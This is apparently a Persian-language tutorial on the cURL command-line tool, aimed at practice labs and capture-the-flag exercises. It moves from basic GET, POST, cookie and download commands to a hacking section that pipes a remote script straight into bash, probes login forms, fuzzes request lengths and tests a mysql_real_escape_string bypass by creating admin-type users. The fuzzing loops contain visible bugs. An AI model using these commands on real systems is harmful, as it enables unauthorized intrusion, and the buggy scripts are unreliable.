ویدیو آموزش کار با ابزار cURL به همراه مثال‌های کاربردی

ویدیو آموزش کار ابزار cURL

در این مقاله به شما آموزش کار با ابزار cURL را به طور کامل از پایه آموزش خواهیم داد. ابتدا با آشنایی اولیه با دستورات مقدماتی شما را برای حل آزمایشگاه‌های از پیش طراحی شده توسط آکادمی مدیر سرور به پیش خواهیم برد. این مقاله با ویدیوی قدم به قدم همراه است که می‌توانید همین حالا آنرا مشاهده نمایید.

 

Curl چیست و چه کاری برایمان انجام می‌دهد؟

Curl عبارت کوتاه شده Client url است که در  سال ۱۹۹۷ برای اولین بار به عنوان پروژه نرم افزار رایانه‌ای معرفی شد.

این پروژه یک کتابخانه به نام libcurl و یک ابزار خط فرمان به نام curl را در اختیار کاربران قرار می‌داد. بهتر است بدانید که curl یک کتابخانه رایگان سمت کلاینت برای انتقال Url است که از پروتکل‌هایی همچون Cookies، DICT،FTP، FTPS، Gopher، HTTP/1، HTTP/2، HTTP POST، HTTP PUT، HTTP proxy tunneling، HTTPS، IMAP، Kerberos، LDAP، POP3،RTSP، SCP و SMTP پشتیبانی می‌کند.

هرچند پروکسی‌های حمله همچون BurpSuitePro ابزارهای کاربردی‌تری به شمار می‌روند اما Curl به شما اجازه می‌دهد یک قدم به سطح پروتکل نزدیک‌تر شوید و از اسکریپت بش استفاده کنید.

به کمک این گزینه می‌توانید انعطاف پذیری بیشتری به هنگام کار بر روی آسیب پذیری‌های پیشرفته و پیچیده داشته باشید.

 

آموزش کار با ابزار cURL قدم به قدم

پارامتر Get در curl

متغیر HTTP GET را می توان با اضافه کردن آن به URL تنظیم کرد. به کد زیر نگاه کنید:

curl http://10.10.10.10/index.php?sessionid=vn0g4d94rs09rgpqga85r9bnia

 

پارامتر POST در cURL

متغیر HTTP POST را می‌توان با اضافه کردن پارامتر (–data) یا d- تنظیم کرد. در ادامه نمونه‌ای از یک لاگین ساده را مشاهده می‌کنید.

curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php

 

کوکی‌های cURL

cURL یک موتور کامل برای کوکی‌ها دارد و می‌توان از آن برای ذخیره سازی و بارگذاری کوکی‌هایی که از سرور و بین سشن‌ها رد و بدل می‌شود استفاده کرد:$ curl -b oldcookies.txt -c newcookies.txt http://10.10.10.10/login.php

شما همچنین می‌توانید با استفاده از پارامتر -b کوکی‌های خودتان را تنظیم کنید:

curl -b "PHPSESSID=vn0g4d94rs09rgpqga85r9bnia" http://10.10.10.10/home.php

 

User agent در cURL

curl -A "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)" http://10.10.10.10/login.php

 

ذخیره فایل با دستور cURL:

curl -o payload.sh http://10.10.10.10/payload.sh

 

به کمک کد زیر می‌توان فایل را در فولدر فعلی دانلود کرد:

curl -O http://10.10.10.10/payload.zip

 

این ابزار از ریدارکت HTTP/1.1 302 Found استفاه می‌کند:

curl -L http://10.10.10.10/profile.php

 

هدر پاسخ خروجی به STDOUT

curl -i http://10.10.10.10/profile.php

 

cURL به شما کمک می کند اطلاعات دیباگینگ را به خوبی مورد بررسی قرار دهید.

curl -v http://10.10.10.10/profile.php

 

هک با cURL

حالا که با سینتکس‌های پایه‌ای و اساسی آشنا شدیم و با نمونه‌های موردی کار کردیم بهتر است ببینیم چطور می‌توانیم از این ابزار برای هک بهره ببریم.

به کمک کد زیر می‌توانیم از این ابزار بخواهیم به طور مستقیم اسکریپت ریموت را به بش pipe کند:

curl -sSk "http://10.10.10.10/linpeas.sh" | bash

 

حمله به فرم لاگین با استفاده از این ابزار

curl --data "email=test@test.com&password=test" http://10.10.10.10/login.php

 

ایجاد کاربر جدید به کمک این ابزار

curl --data "name=test&email=test@test.com&password=test" http://10.10.10.10/newuser.php

 

فازینگ وب سرورها با cURL

زمانی که می‌خواهیم وب سرورهای خود را مورد ارزیابی قرار دهیم، تلاش می‌کنیم شرایط ساختگی را ایجاد کنیم تا دید و بینش عمیق‌تری نسبت به فرآیندهای موجود و نرم‌افزارها داشته باشیم. به کمک این ابزار می‌توانیم یک گزینه قدرتمند برای ایجاد چنین شرایطی داشته باشیم و پیام‌های خطای مورد را ایجاد کنیم.

فازینگ با طول URI / محدودیت طول پارامتر GET با cURL

شما می‌توانید از اسکریپت زیر برای فازینگ وب سرورها به کمک URL  طولانی استفاده کنید. در این شرایط تغییرات موجود در یک فایل نوشته می‌شود و در اختیار شما قرار می‌گیرد.

این یک داربست اساسی برای شما فراهم می‌کند تا بتوانید با استفاده از cURL و بش یک fuzzer مناسب برای هدف خودتان بسازید. شما می‌توانید URL خود را تغییر دهید تا URL یا پارامتر GET را FUZZ کند.

بش شل اسکریپت مدنظر را در ادامه مشاهده می‌کنید:

#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
fuzz=""
for ((x = 1; x <= $i; x++))
do
fuzz+="A"
done
#echo "COUNT: $i $fuzz"
#echo "${1}${fuzz}"
echo "${i}" | { tr -d 'n' ; curl "${1}${fuzz}" -o ${4} 2>/dev/null | wc ${4}; }
done

این هم مثال و نمونه‌ای از آنچه اجرا می‌شود:

./fuzz_url.sh http://10.10.10.10/ 1000 1000000 output.txt
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
۱۰۰۰ ۹ ۳۱ ۲۷۴ output.txt
...
...
۱۰۰۰۰۰ ۱۱ ۳۷ ۳۴۳ output.txt
۱۰۰۰۰۱ ۱۱ ۳۷ ۳۴۳ output.txt
۱۰۰۰۰۲ ۱۱ ۳۷ ۳۴۳ output.txt
۱۰۰۰۰۳ ۱۱ ۳۷ ۳۴۳ output.txt
۱۰۰۰۰۴ ۱۱ ۳۷ ۳۴۳ output.txt
۱۰۰۰۰۵ ۱۱ ۳۷ ۳۴۳ output.txt

 

فازینگ محدودیت طول پارامتر POST با cURL

اسکریپت زیر را می توان برای فازینگ پارامترهای POST یک وب سرور و نوشتن خروجی در یک فایل و پیگیری تغییرات آن خروجی مورد استفاده قرار داد. این یک داربست اساسی برای شما فراهم می‌کند تا بتوانید با استفاده از cURL و Bash یک Fuzzer  مناسب برای هدف بسازید.

در اینجا اسکریپت بش شل را مشاهده می‌کنید:

#!/bin/bash
echo "args: <URL> <Start Length #> <End Length #> <Output Filepath> <Post data: var=value&var2=valuefuzz>"
echo "Length Lines Words Bytes Filename"
echo "---------------------------------"
for ((i = $2; x <= $3; i++))
do
fuzz=""
for ((x = 1; x <= $i; x++))
do
fuzz+="A"
done
#echo "COUNT: $i $fuzz"
#echo "${5}${fuzz}"
echo "${i}" | { tr -d 'n' ; curl "${1}" -o ${4} -d "${5}${fuzz}" 2>/dev/null | wc ${4}; }
done

این هم یک نمونه:

./fuzz_post.sh http://10.10.10.10/ 1000 1000000 output.txt "user=test&password=test"
args: <URL> <Start Length #> <End Length #> <Output Filepath>
Length Lines Words Bytes Filename
---------------------------------
۱۰۰۰ ۹ ۳۱ ۲۷۴ output.txt
...
...
۱۰۰۰۰۰ ۱۱ ۳۷ ۳۴۳ output.txt
۱۰۰۰۰۱ ۱۱ ۳۷ ۳۴۳ output.txt

 

بررسی درست بودن لاگین کاربر در بش اسکریپت

اسکریپیتی که در ادامه مشاهده می‌کنید را می‌توان برای تایید درست یا نادرست بودن نام کاربری و اطلاعات لاگین کاربران مورد استفاده قرار داد. از این تکه کد می‌توان به عنوان یک پایه اصلی برای مقاصد فازینگ با curl و بش استفاده کرد.  زمانی که این کد را اجرا می‌کنید طول کاراکترهای پاسخ را بررسی می‌کند تا از معتبر بودن آن مطمئن شود.  برای اینکه بتوانید از این تکه کد استفاده کنید باید کاراکترهای مدنظر خود را وارد کنید:

#!/bin/bash
result=($(curl --data "email=$2&password=$3" "$1" 2>/dev/null | wc -c))
echo $result
if [ "$result" == '0' ]
then
echo 'zero'
else
echo 'NOT zero'
fi

اسکریپت پس از اجرا:

./check_user.sh http://10.10.10.10/login.php test@test.com testpassword
۰
NOT zero

 

خودکارسازی ایجاد کاربر و تست برای mysql_real_escape_string bypass

تکه کدی که در ادامه مشاهده می‌کنید داربستی برای شما فراهم می‌کند تا با استفاده از curl و بش بتوانید fuzzer مناسبی داشته باشید. در ادامه بش اسکریپتی را مشاهده می‌کنید که برای CTF و تایید تئوری استفاده از متد mysql_real_escape_string نوشته شده است.

#!/bin/bash
# Test for mysql_real_escape_string
email=test@test.com
password=1234567890123456789012345678901234567890123456789012345678901234567890123456789
fuzz="뽜’’AA"
name="‘¿’’AA"
ip="10.10.10.10"
echo "Creating User: ${email}"
curl -i -b 'cookies.txt' -c 'cookies.txt' -d "name=${name}&email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null
echo " "
echo "============================================"
echo "Login as User"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep 'location'
echo " "
echo "============================================"
echo "Check user profile with cookie"
echo "============================================"
curl -b 'cookies.txt' "http://${ip}/index.php" -v 2>/dev/null | grep 'td align="center"'
echo " "
echo "============================================"
echo "Change Name"
echo "============================================"
curl -b 'cookies.txt' -d "name=${fuzz}&type=Admin" "http://${1}/index.php"
echo " "
curl -b 'cookies.txt' "http://${ip}/profile.php" 2>/dev/null | grep 'td align="center"'
echo " "
echo " DELETEING COOKIE "
rm cookies.txt
echo "============================================"
echo "Relogin as User - did password change?"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null | grep 'location'
echo " "
echo " DONE!"
echo " DELETEING COOKIE "
rm cookies.txt

آیا این مطلب برای شما مفید بود؟

میانگین امتیاز ۵ / ۵. تعداد آرا: ۱

اشتراک در
اطلاع از
guest

0 نظرات
بازخورد (Feedback) های اینلاین
مشاهده همه دیدگاه ها

فرم ثبت نام در مسابقه فتح پرچم

برای شرکت در مسابقه باید با اطلاعات صحیح عضو شوید
ثبت نام در مسابقه
close-link